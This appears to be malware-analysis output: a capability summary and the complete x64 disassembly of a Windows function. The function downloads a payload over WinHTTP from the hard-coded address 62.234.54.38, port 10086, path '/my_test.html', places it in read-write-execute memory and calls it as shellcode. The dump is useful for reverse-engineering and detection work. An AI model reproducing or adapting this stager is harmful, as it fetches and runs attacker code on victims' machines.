Function at 0x1400031e0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Initialize winhttp library
Prepare http request
Read http header
Receive http response

Disassembly:
push rsi
push rdi
sub rsp, 0x1a8
mov rdi, rsp
mov ecx, 0x6a
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x140016010]
xor rax, rsp
mov qword [rsp + 0x190], rax
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x50], 0
mov dword [rsp + 0x64], 0
mov qword [rsp + 0x78], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, str.WinHTTP_Apache_2.2
call qword [sym.imp.WINHTTP.dll_WinHttpOpen]
mov qword [rsp + 0x40], rax
cmp qword [rsp + 0x40], 0
je 0x1400036bf
lea rax, [rsp + 0x88]
lea rcx, str.62.234.54.38
mov rdi, rax
mov rsi, rcx
mov ecx, 0xd
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0x88]
mov qword [rsp + 0x158], rax
mov qword [rsp + 0x160], 0xffffffffffffffff
inc qword [rsp + 0x160]
mov rax, qword [rsp + 0x158]
mov rcx, qword [rsp + 0x160]
cmp byte [rax + rcx], 0
jne 0x14000329d
mov rax, qword [rsp + 0x160]
inc rax
mov rcx, rax
call fcn.14000c818
mov dword [rsp + 0xa4], eax
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, dword [rsp + 0xa4]
lea r8, [rsp + 0x88]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov dword [rsp + 0xa8], eax
movsxd rax, dword [rsp + 0xa8]
mov qword [rsp + 0x168], rax
mov eax, 2
mov rcx, qword [rsp + 0x168]
mul rcx
mov rcx, 0xffffffffffffffff
cmovo rax, rcx
mov rcx, rax
call fcn.14000b3e4
mov qword [rsp + 0x148], rax
mov rax, qword [rsp + 0x148]
mov qword [rsp + 0xb0], rax
mov eax, dword [rsp + 0xa8]
mov dword [rsp + 0x28], eax
mov rax, qword [rsp + 0xb0]
mov qword [rsp + 0x20], rax
mov r9d, dword [rsp + 0xa4]
lea r8, [rsp + 0x88]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
xor r9d, r9d
mov r8w, 0x2766
mov rdx, qword [rsp + 0xb0]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.WINHTTP.dll_WinHttpConnect]
mov qword [rsp + 0x48], rax
cmp qword [rsp + 0x48], 0
je 0x1400036b1
lea rax, [rsp + 0xc8]
lea rcx, str._my_test.html
mov rdi, rax
mov rsi, rcx
mov ecx, 0xe
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0xc8]
mov qword [rsp + 0x170], rax
mov qword [rsp + 0x178], 0xffffffffffffffff
inc qword [rsp + 0x178]
mov rax, qword [rsp + 0x170]
mov rcx, qword [rsp + 0x178]
cmp byte [rax + rcx], 0
jne 0x1400033e8
mov rax, qword [rsp + 0x178]
inc rax
mov rcx, rax
call fcn.14000c818
mov dword [rsp + 0xe4], eax
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, dword [rsp + 0xe4]
lea r8, [rsp + 0xc8]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov dword [rsp + 0xe8], eax
movsxd rax, dword [rsp + 0xe4]
mov qword [rsp + 0x180], rax
mov eax, 2
mov rcx, qword [rsp + 0x180]
mul rcx
mov rcx, 0xffffffffffffffff
cmovo rax, rcx
mov rcx, rax
call fcn.14000b3e4
mov qword [rsp + 0x150], rax
mov rax, qword [rsp + 0x150]
mov qword [rsp + 0xf0], rax
mov eax, dword [rsp + 0xe8]
mov dword [rsp + 0x28], eax
mov rax, qword [rsp + 0xf0]
mov qword [rsp + 0x20], rax
mov r9d, dword [rsp + 0xe4]
lea r8, [rsp + 0xc8]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0xf0]
lea rdx, [0x14000f9a0]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.WINHTTP.dll_WinHttpOpenRequest]
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x1400036a3
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.WINHTTP.dll_WinHttpSendRequest]
mov dword [rsp + 0xf8], eax
cmp dword [rsp + 0xf8], 0
je 0x140003695
xor edx, edx
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.WINHTTP.dll_WinHttpReceiveResponse]
mov dword [rsp + 0xf8], eax
cmp dword [rsp + 0xf8], 0
je 0x140003584
lea rcx, str.Remote_GET_successful_n
call fcn.1400010f0
jmp 0x140003590
lea rcx, str.Remote_GET_failed_n
call fcn.1400010f0
mov dword [rsp + 0x104], 0
mov dword [rsp + 0x124], 4
mov qword [rsp + 0x28], 0
lea rax, [rsp + 0x124]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x104]
xor r8d, r8d
mov edx, 0x20000005
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.WINHTTP.dll_WinHttpQueryHeaders]
mov dword [rsp + 0xf8], eax
cmp dword [rsp + 0xf8], 0
je 0x140003693
mov eax, dword [rsp + 0x104]
inc eax
mov eax, eax
mov r9d, 0x40
mov r8d, 0x3000
mov edx, eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rsp + 0x78], rax
cmp qword [rsp + 0x78], 0
je 0x140003693
mov eax, dword [rsp + 0x104]
inc eax
lea r9, [rsp + 0x64]
mov r8d, eax
mov rdx, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.WINHTTP.dll_WinHttpReadData]
mov dword [rsp + 0xf8], eax
cmp dword [rsp + 0xf8], 0
je 0x140003693
mov eax, dword [rsp + 0x104]
cmp dword [rsp + 0x64], eax
jne 0x140003693
mov rax, qword [rsp + 0x78]
mov qword [rsp + 0x138], rax
mov rax, qword [rsp + 0x138]
mov qword [rsp + 0x188], rax
mov rax, qword [rsp + 0x188]
call qword [0x14000f658]
jmp 0x140003693
jmp 0x1400036a1
lea rcx, str.Failed_to_send_request_n
call fcn.1400010f0
jmp 0x1400036af
lea rcx, str.Failed_to_open_request_n
call fcn.1400010f0
jmp 0x1400036bd
lea rcx, str.Failed_to_connect_server_n
call fcn.1400010f0
jmp 0x1400036cb
lea rcx, str.Session_creation_failed_n
call fcn.1400010f0
cmp qword [rsp + 0x50], 0
je 0x1400036de
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
cmp qword [rsp + 0x48], 0
je 0x1400036f1
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
cmp qword [rsp + 0x40], 0
je 0x140003704
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
xor eax, eax
mov rdi, rax
mov rcx, rsp
lea rdx, [0x140010c80]
call fcn.14000c5b4
mov rax, rdi
mov rcx, qword [rsp + 0x190]
xor rcx, rsp
call fcn.14000afd0
add rsp, 0x1a8
pop rdi
pop rsi
ret